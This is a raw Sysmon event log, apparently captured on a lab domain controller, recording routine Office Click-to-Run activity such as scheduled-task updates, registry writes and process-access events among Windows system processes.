14:44:09.846{7BD73061-6F39-613B-AD08-00000000F001}10124948C:\Windows\system32\conhost.exe{7BD73061-6F39-613B-AC08-00000000F001}5152C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.846{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-AD08-00000000F001}1012C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 23542300x800000000000000041567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.846{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37F7272DC49CCDC19D6E3FC9E2DF626F,SHA256=3FD26E27F87D48B231ABD78536BFEE5EF59D9814AA2A85B2F389F7CBEF0D2AC1,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.846{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.831{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-AC08-00000000F001}5152C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.831{7BD73061-6F39-613B-9F08-00000000F001}33286128C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F39-613B-AC08-00000000F001}5152C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9aa0a|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f1bd1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f0282|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13e3d|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13475|C:\Program Files\Microsoft Office\root\integration\integrator.exe+27fb9|C:\Program Files\Microsoft Office\root\integration\integrator.exe+351b08|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000041563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.845{7BD73061-6F39-613B-AC08-00000000F001}5152C:\Windows\System32\schtasks.exe10.0.14393.0 (rs1_release.160715-1616)Task Scheduler Configuration ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationsctasks.exeschtasks.exe /Create /tn "Microsoft\Office\Office Feature Updates" /XML "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates.xml"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=EEB7A2162E4DBE32B56BEB84658483AE,SHA256=A9A4FD9C1BB7C5CF8F77F761CAE60F4AC4AFB8DAEEBB46B3AD6983D5E599CDC1,IMPHASH=8AC94113AD25518D369E4EE37BEDAB4F{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 10341000x800000000000000041562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.831{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-AB08-00000000F001}3232C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.831{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-AB08-00000000F001}3232C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000041560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.831{7BD73061-65B2-613B-1600-00000000F001}1296NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\Office Feature UpdatesMD5=6711BDD62C8C6CA1B147758423907878,SHA256=31F95CFD210A85FBA7CBDD0FF227830B2106E7F1CF919658F4998099803A8561,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.799{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.784{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.737{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-AA08-00000000F001}4040C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.721{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-AA08-00000000F001}4040C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.721{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-AA08-00000000F001}4040C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.706{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-A808-00000000F001}6748C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.706{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-A808-00000000F001}6748C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.706{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-A808-00000000F001}6748C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.690{7BD73061-6F39-613B-A908-00000000F001}65365640C:\Windows\system32\conhost.exe{7BD73061-6F39-613B-A808-00000000F001}6748C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.690{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A908-00000000F001}6536C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.674{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A808-00000000F001}6748C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}33286128C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F39-613B-A808-00000000F001}6748C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9abc5|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f14fd|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f0282|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13e3d|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13475|C:\Program Files\Microsoft Office\root\integration\integrator.exe+27fb9|C:\Program Files\Microsoft Office\root\integration\integrator.exe+351b08|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000041534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.686{7BD73061-6F39-613B-A808-00000000F001}6748C:\Windows\System32\schtasks.exe10.0.14393.0 (rs1_release.160715-1616)Task Scheduler Configuration ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationsctasks.exeschtasks.exe /Delete /F /tn "Microsoft\Office\Office Feature Updates"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=EEB7A2162E4DBE32B56BEB84658483AE,SHA256=A9A4FD9C1BB7C5CF8F77F761CAE60F4AC4AFB8DAEEBB46B3AD6983D5E599CDC1,IMPHASH=8AC94113AD25518D369E4EE37BEDAB4F{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 13241300x800000000000000041533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{02BCC737-B171-4746-94C9-0D8A0B2C0089}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\IEAWSDC.DLL 13241300x800000000000000041531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\MSSOAP\CategoryMessageFileC:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSSOAP30.DLL 13241300x800000000000000041530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\MSSOAP\EventMessageFileC:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSSOAP30.DLL 13241300x800000000000000041529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\MSSOAP\CategoryCountDWORD (0x00000004) 13241300x800000000000000041528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program 